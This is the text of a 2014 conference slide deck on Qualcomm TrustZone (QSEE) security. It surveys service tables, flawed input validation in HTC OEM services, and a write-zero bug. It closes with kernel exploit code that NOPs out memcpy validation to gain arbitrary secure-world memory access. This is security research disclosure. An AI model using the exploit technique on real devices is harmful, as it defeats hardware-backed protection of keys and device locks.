A story of Research for PacSec 2014 by:
@m0nk_dot
@natronkeltner
@afrocheese
Who Are We

- Josh Thomas
  - @m0nk_dot / josh@atredis.com
  - Partner @ Atredis Partners

- Nathan Keltner
  - @natronkeltner / nathan@atredis.com
  - Partner @ Atredis Partners

- Charles Holmes
  - @afrocheese / charles@atredis.com
  - Principal Research Consultant

- Atredis Partners, www.atredis.com
  - Focused and targeted security firm
  - Specializing in advanced hardware and software assessments
TrustZone In Theory

✧ Heavily promoted as the "be all, end all" solution for mobile security

✧ Marketing promises easy BYOD, secure pin entry, and protection against APT [1]

✧ In theory, an isolated processing core with isolated memory. Cannot be influenced by the outside and runs with privileged access.

✧ Allows you to have secure processing in the “Secure World” that the “Normal World” can’t influence or even be aware of.

✧ Who wouldn’t want a technology where sensitive processing can be offloaded to protect information from malware?

TrustZone Architecture

From: http://www.arm.com/images/TrustZone_Software_Architecture.jpg
What I wish TZ was

- A secure chip that allowed you to write software to offload functionality that you’d really hate for malware to see, without it impacting other people using the same magic box
  - Banking app logins,
  - voice crypto,
  - 2 factor auth key material,
  - passwords,
  - et cetera
What TZ really is
No but really, what’s it used for?

- DRM (Widevine, HDCP)
- Qfuses
  - Secure, immutable key storage
  - Hardware configuration (Secure boot settings, JTAG configuration, device identifiers)
- OEM-specific functionality
  - Boot loader unlock (see Dan Rosenberg’s talk from Black Hat 2014)
  - SIM unlock
- Kernel integrity monitoring / measurement (Samsung Knox)
- Not the things you want to hide from malware, but the things Someone Important wants to hide from the user (e.g. carrier locks, MPAA, etc).
What is a Snapdragon?

- System on a Chip
- Executes QSEE (Qualcomm’s Secure Execution Environment)
- ARM buses that may be cool to look at one day: AMBA: AXI, APB, etc
- How is device authentication performed?
Who runs QSEE?

- **Android**
  - Samsung Galaxy S3, Moto X, Sony Xperia Z, HTC One (M7) and HTC One XL, Nexus 5, LG G2, ...  

- **BlackBerry**
  - Q30, Z10, ...  

- **Windows Phone**
  - Lumia 830, ...
Interfaces

- SMC [Secure Monitor Call] interface (has had the most public research)
- Interrupts
- Shared Memory
- Peripherals
TZ Architecture Problems

- You can think of TZ as a kernel to your kernel
- Concepts learned in, for example, IOCTL related interfaces are not present.
- No ASLR, DEP
- TrustZone image stored unencrypted
- Physical memory pointers everywhere
- Multiple models for protecting internal TZ memory, service availability
TZ Protections

- Each function individually validates input on invocation
  - Some OEMs use Qualcomm’s validation
  - Some write custom validation
  - Some use a combination of custom and Qualcomm’s validation
- Qualcomm does not universally block access to any of their functions even when no longer needed
  - HTC implements an access bit mask that is used to disable functions
Service availability

- Behind TZ SMC calls are individual “services” that implement functionality to be exposed to the normal world
- These are registered within TZ, so they can be programmatically identified
tzbsp_set_boot_addr
tzbsp_milestone_set
tzbsp_cpu_config
tzbsp_cpu_config_query
tzbsp_wdt_disable
tzbsp_wdt_trigger
cfg

config

hw

for

offline

ram
dump
tzbsp_video_set_state
tzbsp_pil_init_image_ns
tzbsp_pil_mem_area
tzbsp_pil_auth_reset_ns
tzbsp_pil_unlock_area
tzbsp_pil_is_subsystem_supported
tzbsp_pil_is_subsystem_mandated
tzbsp_write_lpass_qdsp6_nmi
tzbsp_qfprom_write_row
tzbsp_qfprom_write_multiple_rows
tzbsp_qfprom_read_row
tzbsp_qfprom.rollback_write_row
tzbsp_pil_auth_is_subsystem_supported

tzbsp_security.allows_mem_dump
tzbsp_smmu_fault_regs_dump
tzbsp_set_cpu_ctx_buf
tzbsp_write_lpass_qdsp6_nmi
tzbsp_resource_config
tzbsp_is_service_available
tzbsp.Get_diag
tzbsp_fver_get_version
tzbsp_ssd_decrypt_img_ns
ks_ns_encrypt_keystore_ns
tzbsp_ssd_protect_keystore_ns
tzbsp_ssd_parse_md_ns
tzbsp_ssd_decrypt_img_frag_ns

tzbsp_ssd_decrypt_elf_seg_frag_ns

tzbsp_ssd_decrypt_mem

tz_blow_sw_fuse
tz_is_sw_fuse_blow

ns

encrypt

keystore

ns

tzbsp_qfprom_write_row

tzbsp_qfprom_write_multiple_rows

tzbsp_qfprom_read_row

tzbsp_qfprom.rollback_write_row

tzbsp_prng_getdata_syscall

tzbsp_mpu_protect_memory

tzbsp_sec_cfg_restore

tzbsp_smmu_get_pt_size

tzbsp_smmu_set_pt_mem

tzbsp_video_set_va_ranges

tzbsp_vmidmt_set_memtype

tzbsp_memprot_lock2

tzbsp_write_mss_qdsp6_nmi

tzbsp_memprot_map2

tzbsp_memprot_unmap2

tzbsp_memprot_tlbinit

tzbsp_xpu_configViolation.err.fatal

tzbsp_xpu_disable_mmss_qrib

tzbsp_dcvs_create_group

tzbsp_dcvs_register_core

tzbsp_dcvs.set_alg.params

tzbsp_dcvs_init

tzbsp_graphics_dcvs_init

tzbsp_nfdbg.config

tzbsp_nfdbg_ctx_size

tzbsp_nfdbg_is_int ok

tzbsp_ocmem_lock_region

tzbsp_ocmem_unlock_region

tzbsp_ocmem_enable_mem_dump

tzbsp_ocmem_disable_mem_dump

tzbsp_es_save_partition_hash

tzbsp_es_is_activated

tzbsp_exec_smc_ext

tzbsp_exec_smc

tzbsp_tzos_smc
### OEM Services

<table>
<thead>
<tr>
<th>Moto X</th>
<th>HTC One M7 / XL</th>
</tr>
</thead>
<tbody>
<tr>
<td>motorola_tzbsp_ns_service</td>
<td>tzbsp_oem_do_something</td>
</tr>
<tr>
<td>tzbp_oem_hash</td>
<td>tzbp_oem_set_simlock_retry</td>
</tr>
<tr>
<td>tzbp_oem_do_something</td>
<td>tzbp_oem_aes</td>
</tr>
<tr>
<td>tzbp_oem_s1_cmd</td>
<td>tzbp_oem_read_mem</td>
</tr>
<tr>
<td>tzbp_oem_write_mem</td>
<td>tzbp_oem_set_gpio_owner</td>
</tr>
<tr>
<td>tzbp_oem_disable_svc</td>
<td>tzbp_oem_read_simlock_mask</td>
</tr>
<tr>
<td>tzbp_oem_query_key</td>
<td>tzbp_oem_simlock_unlock</td>
</tr>
</tbody>
</table>
TZ Internal Segmentation

- Oh, and to top it all off:

  - One giant box. A mistake by any individual player impacts everyone!

    - Players: QC, Discretix, every OEM, Netflix?, etc.
In summary…

- Models for service availability and memory accesses are…fragile.
- Seems like, in almost every case, a single memory write vulnerability will RUIN your day.
- …And your architecture is designed in such a way as to produce memory write vulnerabilities like mushrooms
SCM Calls

- Invoked by utilizing the SMC ARM instruction from supervisor mode / kernel space with physical address of an SCM command in r0

```c
struct scm_command {
    u32 len;
    u32 buf_offset;
    u32 resp_hdr_offset;
    u32 id;
    u32 buf[0];
};
```

- See arch/arm/mach-msm/scm.c from the Android kernel for more detail
TrustZone Services

- TrustZone image contains a table of all supported SCM calls
  ```c
  struct scm_service {
    u32 id;
    char * name;
    u32 return_type;
    int (*impl)();
    u32 num_args;
    u32 arg_size[0];
  }
  ```
- Useful to verify image loaded at correct address
Enter HTC

✦ Lots of excellent primitives (write_mem, read_mem, memcpy, ...)

✦ HTC utilizes an access bitmask representing each of their tzbsp_oem functions

✦ Services can be disabled when no longer needed

```c
signed int __fastcall is_svc_enabled(unsigned __int8 svc_id) {
    return g_disable_bitmask & (1 << svc_id);
}
```
This service didn’t validate its input!

In every case we care about, g_fs_status is zero

Gives us a write zero vulnerability
Address Validation

#define IS_TZ_MEMORY(x) (x >= 0x2A000000 && x < 0x2B000000)

int tzbsp_oem_access_item(int write_flag, int item_id, void *addr, int len) {
    if (!is_svc_enabled(26)) {
        return -4;
    }

    if (IS_TZ_MEMORY(addr) || IS_TZ_MEMORY(addr + len - 1) && addr < 0x2A03F000) {
        return -1;
    }

    if (!write_flag) {
        ...
        if (item_id == 37) {
            if (g_flag > 0) {
                memcpy(addr, g_item_37, len);
            }
        }
        ...
    }
}
Address “Validation”

```c
#define IS_TZ_MEMORY(x) (x >= 0x2A000000 && x < 0x2B000000)
if (IS_TZ_MEMORY(addr) || IS_TZ_MEMORY(addr + len - 1)) && addr < 0x2A03F000) {
    return -1;
}
```

- What if `len` is really big? 0xffffffff?
- What about `>= 0x2A03F000`?
- What about 0x70000?
```c
#define IS_TZ_MEMORY(x) (x >= 0x2A000000 && x < 0x2B000000)
#define CONTAINS_TZ_MEMORY(x, len) (x < 0x2A000000 && (x + len) >= 0x2B000000)

signed int tzbsp_oem_memcpy(void * dst, void * src, uint32_t len) {
    uintptr_t dst_end = dst + len - 1;
    uint32_t copying_to_tz = CONTAINS_TZ_MEMORY(dst, len) || IS_TZ_MEMORY(dst);
    uint32_t copying_from_tz = CONTAINS_TZ_MEMORY(src, len) || IS_TZ_MEMORY(src);

    if (!is_service_enabled(20))
        return -4;

    if (copying_to_tz && copying_from_tz) {
        return -1;
    }
    if (copying_to_tz && dst < 0x2A03F000) {
        return -1;
    }

    if (dword_2A02BAC8 > 1u) {
        if (dst < 0x88AF0000 && dst_end >= 0x88AF1140) {
            return -16;
        }
        if ((dst_end + 0x77510000) < 0x1140 || (dst + 0x77510000) < 0x1140) {
            return -16;
        }
        if (src != 0x88AF0000) {
            return -2;
        }
        if (len != 0x1140) {
            return -17;
        }
    }
    memcpy(dst, src, len);
    invalidate_data_cache(dst, len);
    return 0;
}
```
Wouldn’t this be a much nicer function?

If only we could remove all that “validation”
Oh. Duh.

- 00 00 = MOV r0, r0
- 00 00 00 00 = ANDEQ r0, r0, r0
Using our “NOP Vulnerability”

```
ROM:2A003278   PUSH          {R3–R7,LR}
ROM:2A00327A   MOV           R4, R0
ROM:2A00327C   MOV           R3, R1
ROM:2A00327E   MOV           R5, R2

// validation, nop'd out

ROM:2A0033EC   MOV           R1, R3
ROM:2A0033EE   MOV           R0, R4
ROM:2A0033F0   BLX            memcpyp
ROM:2A0033F4   MOV           R1, R5
ROM:2A0033F6   MOV           R0, R4
ROM:2A0033F8   BLX            invalidate_data_cache
ROM:2A0033FC   MOVS          R0, #0
ROM:2A0033FE   POP            {R3–R7,PC}
ROM:2A0033FE  ; End of function tzbsp_oem_memcpyp
```
Exploit Code

#define TZ_MEMCPY_NOP_START (0x2A003280)
#define TZ_MEMCPY_NOP_STOP (0x2A0033E8)
#define TZ_HTCondDISABLE_BITS (0x2A02BAC4)

#define TZ_HTCondOEM_MEMCPY_ID (0x3f814)
#define WRITE_ZERO(x) call_svc(0x3f81b, 3, 0x0, x - 0x10, 0x14);

// allocate our version of the g_disable_bits and set to 0xffffffff (all enabled)
int * val = kzalloc(4, GFP_KERNEL);
val[0] = 0xffffffff;

// NOP out all validation in tzbsp_oem_memcpy
for (i = TZ_MEMCPY_NOP_START ; i <= TZ_MEMCPY_NOP_STOP ; i+=4) {
    if ((i % 4) != 0) {
        printk("[-] [0x%04x] INVALID NOP...MUST BE 4 BYTE ALIGNED!\n", i);
        break;
    }
    WRITE_ZERO(i);
}
flush_cache_all();

// use memcpy to enable all the other functions (unnecessary but fun)
call_svc(TZ_HTCondOEM_MEMCPY_ID, 3, TZ_HTCondDISABLE_BITS, virt_to_phys(val), 4);
~ fin ~